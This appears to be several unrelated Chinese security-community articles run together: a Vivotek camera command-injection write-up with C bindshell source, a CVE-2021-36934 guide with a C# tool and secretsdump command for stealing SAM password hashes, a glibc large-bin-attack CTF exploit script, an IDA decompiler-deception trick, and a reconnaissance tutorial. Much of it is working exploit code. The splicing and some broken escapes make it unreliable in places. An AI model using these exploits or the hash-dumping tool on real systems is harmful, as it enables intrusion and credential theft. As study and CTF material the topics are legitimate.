从 ib8369firmware.zip 里解压出 IB8369-VVTK-0102a.flash.pkg 。去掉文件头部的 54 字节后用
BandiZip 可以提取出 rootfs.img ，是文件系统镜像。
/bin 里只有 busybox 是真的 ELF ，其他都是假的，全都是到 busybox 的软链接； /sbin 里有一些厂商编译的 ELF
，用于摄像头的各种配置，其他也都是到 /bin/busybox 的软链接； /usr/bin 里有很多厂商写的 shell 脚本，也是用于摄像头的配置；
/usr/share/www/cgi-bin 里是 cgi 们，有很多是 shell 脚本，一部分是 ELF 。这些 shell
脚本很多都把用户输入带入命令去执行，或者是作为参数传递给专门处理某项配置的 ELF 。既然能访问到 Web 服务，那就从这些 cgi 入手好了。
花了半小时，终于在 `/usr/share/www/cgi-bin/admin/testserver.cgi`
发现了一处命令注入。这个接口是在添加监控事件对应操作时的测试服务可用性的功能，比如配置让摄像头在系统启动时发出特定 HTTP
请求，或在监测到特定画面变化时发送邮件，或是定时将日志发送到指定邮箱，这个接口就可以用于测试 HTTP 请求或是邮件能否正常发送。
这个 CGI 中先把用户输入存放在 strparam 这个变量中:
if [ "$REQUEST_METHOD" = "POST" ]; then
strparam=`cat $stdin | cut -c1-$CONTENT_LENGTH`
else
strparam=$QUERY_STRING
fi
接着把 strparam 传给 decode.sh 进行 URL 解码，然后用正则取出各个参数，存放到对应变量中:
strparam=`decode.sh $strparam`
type=`echo "$strparam" | sed -n 's/^.*type=\([^&]*\).*$/\1/p' | sed "s/%20/ /g"`
address=`echo "$strparam" | sed -n 's/^.*address=\([^&]*\).*$/\1/p' | sed "s/%20/ /g"`
...
senderemail=`echo "$strparam" | sed -n 's/^.*senderemail=\([^&]*\).*$/\1/p' | sed "s/%20/ /g"`
recipientemail=`echo "$strparam" | sed -n 's/^.*recipientemail=\([^&]*\).*$/\1/p' | sed "s/%20/ /g"`
...
之后，如果 type 是 email 并且 address 和 recipientemail 非空，就把用户输入的 sendermail 和
recipientmail 代入用 sh -c 执行的字符串里：
if [ -n "$address" ] && [ -n "$recipientemail" ]; then
#echo "$body" | sh -c "$SMTPC -s \"$title\" $mime_type -f \"$senderemail\" -S \"$address\" -P $port $auth \"$recipientemail\""
if [ "$sslmode" = "1" ]; then
check_smtp_over_https
sh -c "$SMTPC -s \"$title\" $mime_type -b $SEND_FILE -f \"$senderemail\" -S "127.0.0.1" -P "25" $auth \"$recipientemail\" $COS_PRIORITY_OPT $DSCP_PRIORITY_OPT"
else
sh -c "$SMTPC -s \"$title\" $mime_type -b $SEND_FILE -f \"$senderemail\" -S \"$address\" -P $port $auth \"$recipientemail\" $COS_PRIORITY_OPT $DSCP_PRIORITY_OPT"
fi
if [ "$?" = "0" ]
then
translator "the_email_has_been_sent_successfully"
else
translator "error_in_sending_email"
fi
else
translator "please_define_mail_server_location"
fi
值得一提的是，位于 /usr/bin 的 decode.sh 在 URL 解码之前，还用 `gsub(/["<>]/,"",temp)`
过滤了双引号和尖括号。同时，所有与空格等价的符号也不能使用，因为 CGI 把 strparam 传递给 decode.sh 的时候没有加引号，而
decode.sh 中 `temp=$0` 取的是第一个参数，也就是说如果 strparam 中有空格，decode.sh
会接收到多个参数，而最终只会返回第一个参数经过 decode 后的结果。
在这里我用变量 `${IFS}` 替代空格，用 `|tee` 替代 `>`：
构造 Payload 进行命令注入：
利用前面的文件读取漏洞查看命令执行的结果：
由于目标上没有 nc 或是 bash ，而且 sh 和 ash 都是软链接到 busybox 的
，[@RicterZ](https://ricterz.me/) 建议我交叉编译一个 bindshell :
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>
int main(int argc, char *argv[])
{
char msg[512];
int srv_sockfd, new_sockfd;
socklen_t new_addrlen;
struct sockaddr_in srv_addr, new_addr;
if (argc != 2)
{
printf("\nusage: ./tcpbind <listen port>\n");
return -1;
}
if (fork() == 0)
{
if ((srv_sockfd = socket(PF_INET, SOCK_STREAM, 0)) < 0)
{
perror("[error] socket() failed!");
return -1;
}
srv_addr.sin_family = PF_INET;
srv_addr.sin_port = htons(atoi(argv[1]));
srv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
if (bind(srv_sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr)) < 0)
{
perror("[error] bind() failed!");
return -1;
}
if (listen(srv_sockfd, 1) < 0)
{
perror("[error] listen() failed!");
return -1;
}
for (;;)
{
new_addrlen = sizeof(new_addr);
new_sockfd = accept(srv_sockfd, (struct sockaddr *)&new_addr, &new_addrlen);
if (new_sockfd < 0)
{
perror("[error] accept() failed!");
return -1;
}
if (fork() == 0)
{
close(srv_sockfd);
write(new_sockfd, msg, strlen(msg));
dup2(new_sockfd, 2);
dup2(new_sockfd, 1);
dup2(new_sockfd, 0);
execl("/bin/busybox", "/bin/busybox", "sh");
return 0;
}
else
close(new_sockfd);
}
}
return 0;
}
`./arm-926ejs-linux-gnueabi-gcc --static -O2 /tmp/bindshell.c -o
/tmp/bindshell` 编译之后通过 FTP 传到摄像头的 /mnt/ramdisk 里（web 也有上传文件的接口），然后运行:
###### 总结
`/cgi-bin/admin/downloadMedias.cgi` 和 `/cgi-bin/admin/testserver.cgi`
都没有鉴权，只要能访问 web 服务，就可以成功利用。已经确认可以成功攻击的型号有 IB8369-VVTK-0102a 、FD8164-VVTK-0200b
、FD816BA-VVTK-010101 。从官网下载了十几份不同型号的最新固件进行分析，发现都存在这两个漏洞，可以推测应该是通用的。只要是用户手册有
“If your SMTP server requires a secure connection (SSL)”
这句话，就可以推断这个型号存在上文提到的命令注入漏洞。这两个漏洞可以影响绝大部分的 Vivotek 网络摄像头。
_Update on June 24th:_ CVE-2017-9828 and CVE-2017-9829 have been assigned to
the vulnerabilities.
* * * | 社区文章 |
# 利用CVE-2021–36934获取用户密码哈希
## 简介
来自于最近的一个新洞CVE-2021–36934，具体是windows的卷影副本给了user读写权限，导致用户可以绕过本机被占用的sam文件访问卷影副本种的sam文件。
## 利用
通过`vssadmin list shadows`查看卷影副本的路径，效果如下。
该命令需要管理员权限运行，但默认目录名就为`\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy`，在有多个卷影集的情况下会像上图一样在后面加上1，2，3...。所以普通利用只需要遍历这几个目录即可，能做到无管理员权限导出sam文件
用一般的文件操作函数都可以访问这个目录，简单写一个遍历函数，可以遍历得到结果就是c盘的目录结构，即卷影副本就为c盘的不完全备份
sam文件目录位于`C:\\Windows\System32\config\SAM`，简单进行一个拼接，卷影文件目录就位于`\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\System32\config\SAM`。读取这个文件并写入当前目录下，就可以得到这个文件的备份了。
整个c盘都是可以遍历的，但我们的目标是dump
sam文件获取密码，所以我们需要的是sam，security和system三个文件，三个文件都在config下，同样的姿势去备份出来，就可以开始sam文件解密了
这里我用的impacket的secretdump
`secretsdump.exe -sam SAM -security SECURITY -system SYSTEM LOCAL`
导出的哈希用于PTH和票据等伪造这里就不作细致分析了。另外鉴于可以得到绝大部分系统文件的访问权限，应该不止这一种利用方法，包括微软官方也将其定性为权限提升漏洞。
## c#脚本导出文件
简单写的脚本用于从卷影导出文件，仅提供思路。鉴于不用管理员权限，自己写也比较容易，比mimikatz更容易免杀，效果应该更好，大家见仁见智。
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
using System.Runtime.InteropServices;
namespace readfile
{
class Program
{
//遍历目录
public static void Traversal(string path)
{
DirectoryInfo TheFolder = new DirectoryInfo(path);
FileSystemInfo[] a = TheFolder.GetFileSystemInfos();
List<String> list = new List<string>();
foreach (FileSystemInfo NextFile in a)
{
list.Add(NextFile.FullName);
Console.WriteLine(NextFile.FullName);
}
}
public static bool CopyFileToCurrentPath(string filepath,string currentpath)
{
bool result = false;
try
{
FileInfo file = new FileInfo(filepath);
Console.WriteLine("Attributes :>> " + file.Attributes);
Console.WriteLine("FullName :>> " + file.FullName);
Console.WriteLine("LastWriteTime :>> " + file.LastWriteTime);
Console.WriteLine("Length :>> " + file.Length);
Console.WriteLine("Name And Extension :>> " + file.Name + "." + file.Extension);
FileStream fs = File.OpenRead(filepath);
byte[] filebyte = new byte[file.Length];
UTF8Encoding temp = new UTF8Encoding(true);
while (fs.Read(filebyte, 0, filebyte.Length) > 0)
{
Console.WriteLine(temp.GetString(filebyte));
}
string filename = currentpath + @"\" + file.Name + "." + file.Extension;
Console.WriteLine(filename);
FileStream fs2 = new FileStream(filename, FileMode.OpenOrCreate, FileAccess.Write);
fs2.Write(filebyte, 0, filebyte.Length);
result = true;
}
catch
{
result = false;
}
return result;
}
static void Main(string[] args)
{
string currentpath = System.Environment.CurrentDirectory;
//备份路径，来自管理员执行命令vssadmin list shadows
//默认就是\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy，有多个备份时才有区别
string vsspath = @"\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3";
//sam和system文件路径
string sampath = @"\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\System32\config\SAM";
string systempath = @"\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\System32\config\SYSTEM";
string securitypath = @"\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\System32\config\SECURITY";
//Traversal(vsspath);
CopyFileToCurrentPath(sampath, currentpath);
CopyFileToCurrentPath(systempath, currentpath);
CopyFileToCurrentPath(securitypath, currentpath);
}
}
}
## 影响版本
Windows 10 version 1809 以后的所有版本 | 社区文章 |
# glibc-2.29 large bin attack 原理
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
该方法并非笔者发现，而是阅读 balsn 的 writeup 时分析而得到的，这里介绍一下这种攻击方法。
## unsorted bin attack
在介绍新的攻击技术之前，先来缅怀一下 unsorted bin attack ， 由于 glibc-2.29 新上的保护措施，使得 unsorted bin
attack 基本已经成为过去式。
`unsorted bin attack` 的原理是利用 unsorted bin 在解链时，对 fd 指针的操作，直接的作用就是可以任意地址写入一个
main_arena 地址值，非常好用的攻击方法。虽然 glibc-2.29 不能使用 unsorted bin attack 了，但是 large bin
attack 或许可以成为它的代替品。
## large bin attack
glibc-2.29 的 large bin attack 和先前的并不完全一样，但是原理类似。
其主要发生在 large bin 的 nextsize 成环时，没有对其进行检查，所以只要存在 UAF 漏洞，就能修改 nextsize
指针进行任意地址写入 chunk 地址的操作。
漏洞主要发生在下列代码（来自 `glibc-2.29/malloc/malloc.c:3841` ）：
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size)
< (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize; // one
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
assert (chunk_main_arena (fwd));
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));
}
// but size must be different
if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim; // two
}
bck = fwd->bk;
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
large bin 是以 victim_index 为单位进行 nextsize 之间的成环操作，每个 victim_index 的长度是
0x40，上面的代码是 unsorted bin 进行归位 操作时，将 本属于该环的 victim 插入到该环中。但是这里却没有 `unsorted
bin` 那样对指针进行检查。
由于 large bin 是双向链表，插入操作并不会对整个环进行检查，这里我们只需要劫持 其 bk_nextsize
指针，那么在插入的时候，程序便会把该假的地址当成一个真的 chunk 从而进行双向链表插入操作，这样就会使得 该要插入的 chunk 将会留下它的地址到我们
设置的任意地址。
其核心代码是`victim->bk_nextsize = fwd->fd->bk_nextsize; //
one`或者`victim->bk_nextsize->fd_nextsize = victim; //
two`，就是在这里完成了写操作，具体执行哪段代码还要取决与 两个chunk 的size 比较。
这里提醒一点，两个chunk 的size不能相同，否则会执行下面程序流而导致不能实现我们的目的。
if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;
其次是 large bin 的 fd_nextsize 需要设置为0，否则程序流会执行到下面的代码进行unlink 操作，那么就无法通过 unlink 对
large bin 的 bk_nextsize 和 fd_nextsize 检查。
来自 `glibc-2.29/malloc/malloc.c:4049`
size = chunksize (victim);
/* We know the first chunk in this bin is big enough to use. */
assert ((unsigned long) (size) >= (unsigned long) (nb));
remainder_size = size - nb;
/* unlink */
unlink_chunk (av, victim);
## 样例代码
#include <stdio.h>
#include <stdlib.h>
size_t buf[0x10];
int main()
{
size_t *ptr, *ptr2, *ptr3;
setbuf(stdout, NULL);
ptr = malloc(0x438);
malloc(0x18);
ptr2 = malloc(0x448);
malloc(0x18);
free(ptr);
// put ptr into large bin
malloc(0x600);
free(ptr2);
ptr[2] = 0;
ptr[3] = (size_t)&buf[0];
printf("buf[4]: 0x%lxn", buf[4]);
ptr3 = malloc(0x68);
printf("buf[4]: 0x%lxn", buf[4]);
return 0;
}
`buf[4]`就相当于 fake_chunk->fd_nextsize 指针，指向该节点的上一个节点。
执行结果如下所示：
buf[4]: 0x0
buf[4]: 0x560075a246b0
## 例题 – HITCON CTF 2019 PWN – one punch man
该程序主要的漏洞就是在`delete`时没有清理指针，导致UAF。
void delete()
{
unsigned int v0; // [rsp+Ch] [rbp-4h]
write_str("idx: ");
v0 = get_int();
if ( v0 > 2 )
error((__int64)"invalid");
free((void *)heros[v0].calloc_ptr);
}
程序预置了后门函数，但是在tcache上有限制，必须要我们劫持`tcache_perthread_struct`才行，这里有两种思路，我自己的做法是劫持`tcache_perthread_struct->entries`，这里由于和本文章关系不大，这里我简要说下核心思路：利用`tcache_perthread_struct->counts`
伪造 size，然后利用 unlink 使得chunk overlap，然后控制其`tcache_perthread_struct->entries`。
第二种做法就是 balsn 战队的做法，很优秀的方法，核心思路就是利用 `large bin attack` 修改
`tcache_perthread_struct->counts` 来使用预置后门，然后用 `add` 当中的缓冲区进行 ROP。
下面是 balsn 的脚本。
#!/usr/bin/env python
# -*- coding: utf-8 -*- from pwn import *
import sys
import time
import random
host = '52.198.120.1'
port = 48763
r = process('./one_punch')
binary = "./one_punch"
context.binary = binary
elf = ELF(binary)
try:
libc = ELF("./libc-2.29.so")
log.success("libc load success")
system_off = libc.symbols.system
log.success("system_off = "+hex(system_off))
except:
log.failure("libc not found !")
def name(index, name):
r.recvuntil("> ")
r.sendline("1")
r.recvuntil(": ")
r.sendline(str(index))
r.recvuntil(": ")
r.send(name)
pass
def rename(index,name):
r.recvuntil("> ")
r.sendline("2")
r.recvuntil(": ")
r.sendline(str(index))
r.recvuntil(": ")
r.send(name)
pass
def d(index):
r.recvuntil("> ")
r.sendline("4")
r.recvuntil(": ")
r.sendline(str(index))
pass
def show(index):
r.recvuntil("> ")
r.sendline("3")
r.recvuntil(": ")
r.sendline(str(index))
def magic(data):
r.recvuntil("> ")
r.sendline(str(0xc388))
time.sleep(0.1)
r.send(data)
# if len(sys.argv) == 1:
# r = process([binary, "0"], env={"LD_LIBRARY_PATH":"."})
# else:
# r = remote(host ,port)
if __name__ == '__main__':
name(0,"A"*0x210)
d(0)
name(1,"A"*0x210)
d(1)
show(1)
r.recvuntil(" name: ")
heap = u64(r.recv(6).ljust(8,"x00")) - 0x260
print("heap = {}".format(hex(heap)))
for i in xrange(5):
name(2,"A"*0x210)
d(2)
name(0,"A"*0x210)
name(1,"A"*0x210)
d(0)
show(0)
r.recvuntil(" name: ")
libc = u64(r.recv(6).ljust(8,"x00")) - 0x1e4ca0
print("libc = {}".format(hex(libc)))
d(1)
rename(2,p64(libc + 0x1e4c30))
name(0,"D"*0x90)
d(0)
for i in xrange(7):
name(0,"D"*0x80)
d(0)
for i in xrange(7):
name(0,"D"*0x200)
d(0)
name(0,"D"*0x200)
name(1,"A"*0x210)
name(2,p64(0x21)*(0x90/8))
rename(2,p64(0x21)*(0x90/8))
d(2)
name(2,p64(0x21)*(0x90/8))
rename(2,p64(0x21)*(0x90/8))
d(2)
d(0)
d(1)
name(0,"A"*0x80)
name(1,"A"*0x80)
d(0)
d(1)
name(0,"A"*0x88 + p64(0x421) + "D"*0x180 )
name(2,"A"*0x200)
d(1)
d(2)
name(2,"A"*0x200)
rename(0,"A"*0x88 + p64(0x421) + p64(libc + 0x1e5090)*2 + p64(0) + p64(heap+0x10) )
d(0)
d(2)
// pause()
name(0,"/home/ctf/flagx00x00" + "A"*0x1f0)
magic("A")
add_rsp48 = libc + 0x000000000008cfd6
pop_rdi = libc + 0x0000000000026542
pop_rsi = libc + 0x0000000000026f9e
pop_rdx = libc + 0x000000000012bda6
pop_rax = libc + 0x0000000000047cf8
syscall = libc + 0xcf6c5
magic( p64(add_rsp48))
name(0,p64(pop_rdi) + p64(heap + 0x24d0) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall) +
p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap) + p64(pop_rdx) + p64(0x100) + p64(pop_rax) + p64(0) + p64(syscall) +
p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap) + p64(pop_rdx) + p64(0x100) + p64(pop_rax) + p64(1) + p64(syscall)
)
r.interactive()
在上面的`// pause()`处暂停，查看其`bin`情况。
pwndbg> largebins
largebins
0x400: 0x56224269a4c0 —▸ 0x7f455f1dd090 (main_arena+1104) ◂— 0x56224269a4c0
pwndbg> x/6gx 0x56224269a4c0
0x56224269a4c0: 0x4141414141414141 0x0000000000000421
0x56224269a4d0: 0x00007f455f1dd090 0x00007f455f1dd090
0x56224269a4e0: 0x0000000000000000 0x0000562242698010
pwndbg>
这里构造好了 large bin attack，当进行 unsorted bin
归位时，便会修改`tcache_perthread_struct->counts`。
笔者是星盟安全团队成员之一，这里欢迎热爱网络安全的小伙伴们加入星盟安全：`XHUwMDc4XHUwMDY5XHUwMDZlXHUwMDY3XHUwMDZkXHUwMDY1XHUwMDZlXHUwMDY3XHUwMDVmXHUwMDczXHUwMDY1XHUwMDYzXHUwMDQwXHUwMDMxXHUwMDM2XHUwMDMzXHUwMDJlXHUwMDYzXHUwMDZmXHUwMDZk`
。 | 社区文章 |
之前介绍了几种让IDA F5无法得知函数参数的技巧
[混淆IDA F5的一个小技巧-x64](https://xz.aliyun.com/t/4994)
[混淆IDA F5的一个小技巧-x86](https://xz.aliyun.com/t/5062)
本文介绍一种让IDA F5正常显示函数参数，但却 **并不是** 函数实际参数的技巧
比如显示是`puts("7777")`，但实际上运行时是`puts("4396")`
# 源码、编译
代码如下：
#include<stdio.h>
#include<stdlib.h>
int func(int a,int b){
printf("%d %d\n",a,b);
return a+b;
}
int main(int argc,char**argv){
func(12345678,12345678);
func(12345678,12345678);
func(12345678,12345678);
func(12345678,12345678);
return 0;
}
//gcc -m32 main.c -o test
IDA打开，惯例先patch掉一些东西
最初的main函数
我们把`0x0804846C`到`0x0804847E`全部`nop`掉
# patch
我们主要利用 **在参数压栈过程中，使某段时间esp并不以4字节对齐** 的技巧，来欺骗IDA的参数识别
patch如下，main函数被显示栈不平衡，虽然不知道为什么，但这没有什么关系，我们还可以F5
其中`0x0BC614E`就是`十进制12345678`
因为栈是从高向低生长的，我们先多让`esp`减去一，再`push`参数
这将导致其实只让3个字节进入函数参数范围，最后的一个字节其实没有用
然后再`inc esp`消去影响
> 看起来IDA应该能很轻松发现这里参数有问题，但实际上...
main函数里是有一点差别
点进`sub_8048474((int)&savedregs)`
仍然显示的是`func(12345678,12345678)`
对于像我这样不喜欢动态调试只会F5的人...可以说是灾难了
# 动态调试
在gdb里调试一下看看参数具体状况
在`esp`仍然以四字节对齐时，`gdb-peda`给了很多有用的栈上内容信息
再跟进一步，信息全乱了
在我们`call func()`前，栈上内容如图
参数分别是`0xbc61`和`0xbc614e`，并不像IDA识别的那样
而实际运行结果如下
# 尝试精确控制参数值
其实是可以精确控制成我们要的参数的值的，尝试控制第一个压栈的参数
patch形如这样
假装`0x0ABCD6789`是参数，但后面三条指令对它进行了修改
动态调试一波
伪装的参数刚压栈
断在两条指令后
注意栈上内容，`0x55556666`改变了两字节
这样我们确实可以精确的控制参数...
遗憾的是这个被F5识别出了意图:(
# 效果较好的一次
patch如图
F5结果
调试：
> 限于篇幅这段调试过程比较难说明，我自己调试时也想了很久，有兴趣的师傅们可以上手调试一下
>
> 结果就是，我们不仅可以欺骗IDA，还可以把`0x89674523`精确的控制成`0xbc618967`
运行结果：
# 总结
最后的一次控制参数比较烧脑，也可能是我还tcl...
欺骗IDA真是一种乐趣... | 社区文章 |
author：菲哥哥（安全帮）
在入侵渗透一个大型目标网络时我一般分为4个大步骤，信息搜集－扫描查点－攻击获取权限—清除日志
我看了很多网上的文章或者视频做的都不是太系统。也不太详细。所以我打算做一个系列系统的教程。此次我打算把每个步骤详细的做一次梳理与总结方便想要学习网络安全技术的同学。
公开课QQ群 ：338552043
什么是信息收集
收集目标的情报信息是一个非常重要的环节。可以大大提高渗透测试的成功性。收集渗透目标情报一般是对目标系统的分析，扫描探测，服务查点，查找对方系统IP等，社会工程学在渗透测试中也非常有。渗透测试者会尽力搜集目标系统的配置，whois，主机ip段，公司人员，安全防御以及防火墙等信息。
00x1 whois信息搜集
1.WHOIS查点
WHOIS可以理解为是一个可以查询域名注册详细信息的大数据，WHOIS中包含域名注册者的姓名,邮箱 ,电话,地址,dns服务器
等信息这些对我们渗透目标都很有用，然后在通过whois获取到的注册者和邮箱进行域名反差可以获取更多的信息。
以”douban,com“为例 liunx下用 whois <http://douban.com> 可以看到详细的 邮箱，注册人 等注册信息。
也可以通过相关网站进行whois查询如：
<https://www.whois.com/whois/douban.com>
2.whois反查
可根据whois获取到的 域名所有人、域名注册商、域名注册日期和过期日期等 ,使用邮箱，电话等进行反差获取更多关联的域名等信息,方便我们扩大目标范围。可在
域名Whois反查 - 站长之家进行反向查询
以上获取的信息在进行社工的时候很有用。
00x2 DNS查点
DNS的作用就是把主机映射为ip地址，或者是把ip地址映射为主机名的分布式数据库.。
1. nslookup 命令基础参数解析
nslookup -type=ptr 8.8.8.8 #查询一个IP地址对应的域名
nslookup -type=ns <http://baidu.com> #查询<http://baidu.com使用的DNS服务器名称>
nslookup #进入交互式shell
server <http://ns2.baidu.com> #Server设定查询将要使用的DNS服务器
ls <http://baidu.com> #ls命令列出某个域中的所有域名
MX记录 电子邮件交换记录，记录一个邮件域名对应的IP地址，比如my[at]<http://seclines.com>
后面的部分seclinescom，邮件服务器对应的IP地址
NS记录 域名服务器记录 ,记录该域名由哪台域名服务器解析
PTR记录 反向记录，也即从IP地址到域名的一条记录
TXT记录 记录域名的相关文本信息
1. nslookup获取DNS服务器
以<http://thaicatgo.com为例使用>
localhost:~ root# nslookup //执行nslooup命令
> set type=ns //设置查询类型
> <http://thaicargo.com> //设置要查询的网站
Server: 202.106.195.68Non-authoritative answer:
<http://thaicargo.com> nameserver = ns-1708.awsdns-21.co.uk. //dns服务器
<http://thaicargo.com> nameserver = ns-1015.awsdns-62.net.
<http://thaicargo.com> nameserver = ns-75.awsdns-09.com.
<http://thaicargo.com> nameserver = ns-1306.awsdns-35.org.
3.获取邮件服务器
邮件服务器大都是在防火墙所在的系统，就算不是和防火墙在同一个系统最起码和目标网络也在同一个网络中。我们可以使用nslookup和host命令来获取邮件服务器地址。
nslookup命令
root# nslookup
> set type=mx //设置要查询的类型
> <http://thaicargo.com> //设置目标网站
Server: 202.106.195.68
Address: 202.106.195.68#53
Non-authoritative answer:
<http://thaicargo.com> mail exchanger = 10 <http://mx1-us1.ppe-hosted.com>
//对应的邮箱服务器.
<http://thaicargo.com> mail exchanger = 10 <http://mx2-us1.ppe-hosted.com>
//对应的邮箱服务器.
host命令
host <http://thaicargo.com>
00x3 网络侦察
网络侦查用到windows下tracert命令，liunx下traceroute命令追踪路由查看整个网络的拓扑用windows来实例演示下。
C:\>tracert <http://seclines.com>
Tracert to <http://seclines.com> (10.10.10.1),30 hops max,40byte packets
1 gate2 (192.168.10.1) 5.391ms 5.107ms 5.559ms
2 <http://rtr1.bigisp.net> (10.10.12.13) 33.374ms 33.443ms 33.137ms
3 <http://rtr2.bigisp.net> (10.10.12.14) 35.100ms 34.427ms 34.813ms
4 <http://hssitrt.bigisp.net> (10.11.31.14) 43.030ms 43.941ms 43.244ms
5 <http://seclines.com(10.10.10.1>) 43.803ms 44.041ms 47.835ms
看命令执行结果数据到达目标需要经过5跳才能到达，中间没有UDP分组的丢失，而到达目标之前的第四跳很可能是主机<http://seclines.com的边界路由设备，也有可能是太防火墙这个现在无法确定。通过执行tracert可以对整个网络之间有一个大体的了解。>
如果存在防火墙又怎么知道呢？下面还是用一个例子说明吧：
C:\>tracert 10.10.13.5
Tracert to (10.10.13.5),30 hops max,40byte packets
1 xss2(192.168.10.1) 5.391ms 5.107ms 5.559ms
2 <http://r1.net> (10.10.13.13) 33.374ms 33.443ms 33.137ms
3 <http://r2.net> (10.10.13.14) 35.100ms 34.427ms 34.813ms
4 <http://sss.wome.net> (10.11.31.14) 43.030ms 43.941ms 43.244ms
5 __ _
6_ __
可以看出，缺省的5，6跳 UDP数据包被防火墙拦截了。
00x4.二级域名
大型目标域名收集
1、二级/子域名收集
比如：<http://mail.example.com和http://calendar.example.com是二级域http://example.com的两个子域，而http://example.com则是顶级域com的子域>
1.1 域传送漏洞
使用域传送漏洞可快速查询目标服务器上的所有域名
dig命令
假设<http://test.com的DNS服务器为192.168.5.6，>
使用dig
@192.168.5.6 <http://test.com> axfr即可如果目标存在域传送漏洞的话就可查看所有域名了.
nmap检测传送漏洞
nmap --script dns-zone-transfer --script-args dns-zone-transfer.domain=<http://test.com> -p 53 -Pn 192.168.5.6
域名爆破
我常用的两个工具
fierce -dns <http://test.com>
python subDomainsBrute.py <http://test.com> //可以递归爆破三级四级域名
2、关联域名收集（在whois中已经有说明）
关联域名是指同一个邮箱所注册的所有域名。 但是收集到的关联域名不一定就是同一个企业的域名，但是可能性很高。
域名Whois反查 - 站长之家 可完成关联域名反查。
3.corrs.xml文件
corrs.xml文件作用是设置对主域名flash文件访问权限控制，文件里面会记录主域名下的子域名。
3.IP地址旁注
根据获取到的目标ip地址反向查询，获取ip地址上所有域名我常用的又以下两个
Find websites hosted on the same ip
ip:31.220.110.42 - 必应
4.googlehack
1.使用site: _.<http://test.com> 来匹配所有的子域名 ,获取到子域名<http://admin.test.com>
2.然后在用site:_.<http://test.com> -admin
在查询结果中去除掉admin域的记录，反复使用－参数查询可获取大量域名，已有开源程序theHarvester.py可以做到自动搜集。引擎除了Google之外还有bing、shodan、
钟馗之眼等等，
1. spider
Spider信息除了利用公开的搜索引擎之外，也可以自己写爬虫爬目标企业的网站，遇到其子域名继续爬下去。这样可以收集到所有该网站上有链接过去的子域名（和搜索引擎可能有些重复）
00x6.IP范围
1.ip比较法
比较大型的目标会有比较多IP地址，大型目标网络ip地址通常分配在一个C段或多个c段中。
例目标顶级域名为<http://www.seclines.com> 其IP地址为222.222.222.222 ，bbs.seclines.com
其ip为222.222.222.223 wiki.seclines.con
其ip为222.222.222.224由此可以推测222.222.222.1-255的IP地址都为该公司IP地址，但最后的确定还要根据其他的信息进行判断
2.http头
有些服务器维护人员喜欢打上自己的标签，例如特殊的HTTP头。 我们可以通过shodan或钟馗之眼 来进行搜索拥有同样标签的服务器。
－－－根据ip查询as号
3.AS号查询IP地址范围
自治系统号码自治系统：autonomous
system。在互联网中，一个自治系统(AS)是一个有权自主地决定在本系统中应采用何种路由协议的小型单位。这个网络单位可以是一个简单的网络也可以是一个由一个或多个普通的网络管理员来控制的网络群体，它是一个单独的可管理的网络单元（例如一所大学，一个企业或者一个公司个体）。一个自治系统有时也被称为是一个路由选择域（routing
domain）。一个自治系统将会分配一个全局的唯一的16位号码，有时我们把这个号码叫做自治系统号（ASN）。利用AS号来寻找IP的方式
$ dig +short 32.<http://152.112.17.origin.asn.shadowserver.org> TXT
dig +short 117.<http://122.213.158.peer.asn.shadowserver.org> TXT //根据ip查询as号
whois -h <http://whois.cymru.com> 117.122.213.158 //根据ip查询as号
whois -h <http://asn.shadowserver.org> prefix 8075 //根基as查询ip段
关于 AS/ASN 号查询ip范围参考文档
AS号码查询,ASN查询, Autonomous System Number (ASN) 查询, BGP查询,网络路由查询
Shadowserver Foundation - Services - IP-BGP
通过IP和AS自治系统号判断数据中心是几线BGP接入-数据中心-华为企业互动社区
【转】网络中的AS自治域 - myLittleGarden - 博客园
Shadowserver Foundation - Services - IP-BGP
－－－根据as号查询ip 红色条目是没生效ip
AS Report
4.spf记录获取ip地址
spf全称为Sender Policy Framework，它的作用是防止别人伪造你来发邮件，反伪造性邮件的解决方案.当你定义了你的domain
name也就是授权的地址。（域名txt记录也就是spf记录)）之后，接收邮件的一方根据定义的spf记录来确定ip地址受否包含在spf里面，包含在内的话就是正常邮件反之就是伪造的.所以在spf里面会添加一些自己的ip地址，在此我们也可获取到一些目标的ip段。以阿里为例来看一下
localhost:~ root# nslookup
> set type=txt
> <http://aliyun.com>
00x7. cdn真实ip地址
tools有个帖子写的很详细了我就 不啰嗦了地址如下
绕过CDN查找网站真实IP方法收集 - 无法自拔 - 博客园 <http://www.cnblogs.com/jsq16/p/5948849.html>
00x8. 信息泄漏
1.员工信息搜集
